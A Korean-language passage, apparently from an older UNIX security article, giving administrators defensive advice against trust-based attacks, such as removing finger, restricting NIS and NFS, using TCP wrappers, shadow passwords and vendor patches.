이러한 공격들에 대비하는 데에는 두 가지 정도의 방법이 있을 수 있는데, 첫째는 가장 직접적이지만, 비현실적인 것이다. 당신의 site가 어떤 trust도 허락하지 않는다면 물론 이런 식의 공격을 피할 수 있을 것이다. 다른 방법은 암호학적인 프로토콜을 이용하는 것이다. 즉 secure RPC protocol을 이용하는 것이 한 가지 방법이 될 수 있다. 만일 그것이 암호학적으로 깨진다 할지라도 아직 RPC 인증에 대한 설계가 암호화되지 않은 것들에 비해 더 좋은 안전 보증을 할 수 있다. 다른 방법으로는 hardware(smartcard)와 software(Kerberos)가 모두 발전하는 것인데, 이것은 아직 불완전 하며, system software 의 교체가 필요하다.

◎ Protecting your system

이제 지금까지 알아보았던 여러 가지 cracking 기법들을 통해 server의 관리자로서 어떤 일을 해야 하는 지 정리해 보자.

Finger 명령을 제거한다. 만일 제거할 수 없다면 수정된 finger를 설치한다. 실제에서 user의 home-directory 나 last login source는 거의 필요가 없다.

절대적으로 필요한 경우가 아니라면 NIS를 돌리지 않는다. NFS는 가능한 한 사용하지 않는다.

절대로 NFS filesystem을 제한 없이 외부로 방출하지 않는다. 가능하다면 방출되는 file system은 read-only로 한다.

server를 요새화 하여 방어한다. (service를 제공하는 host들을 다른 host로 바꾼다.) 그리고 administrative 만이 이 host들에 허락된다.

inetd과 portmapper 에 의해 제공되는 service를 주의 깊게 검사한다. 많이 사용될 것 같지 않은 것들은 모두 제거한다. "Wietse Venema's inetd wrapper"를 사용한다. 이것이 일반적인 UNIX 에, 특히 network 상의 공격에 대해 형용할 수 없는 auditing을 가져다 줄 것이다. 가능하다면 secure host의 securiy-related information을 모을 수 있는 loghost mechanism을 사용하는 것이 좋다.

절대적으로 필요한 경우가 아니라면 trust를 제거하라. trust는 곧 적이다.

빈약한 password를 금지하는 shadow password와 passwd command를 사용하라. 또한 사용되지 않거나 휴지중인 system/user account는 제거하거나 사용금지 시킨다.

현재의 문헌이나 security tool을 읽고 사용하는데 뒤떨어지지 않아야 한다. 다른 사람들과 security problem 과 사고에 대해 이야기하라. 적어도 CERT mailing list와 phrack magazine 은 받아보아야 할 것이다. 그리고 usenet security newgroup를 읽어 security에 대한 최신 정보를 알고 있어야 한다. 무관심은 security 에 있어 가장 치명적이다.

가능한 한 모든 vendor security patch 들을 설치한다. 재미있게도 일반적인 보안 기술이라고 알려진 Keberos 실행이나, one-time password, 또는 digital token 과 같은 것들은 위에서 소개한 기술들에게 비효율적이다. 따라서 그런 patch 들을 사용하기를 강력히 추천한다. 하지만 그것들이 전부가 아님은 명심해야 할 것이다. 그것들은 당신이 system을 지키기 위한 투쟁의 일부일 뿐이니까.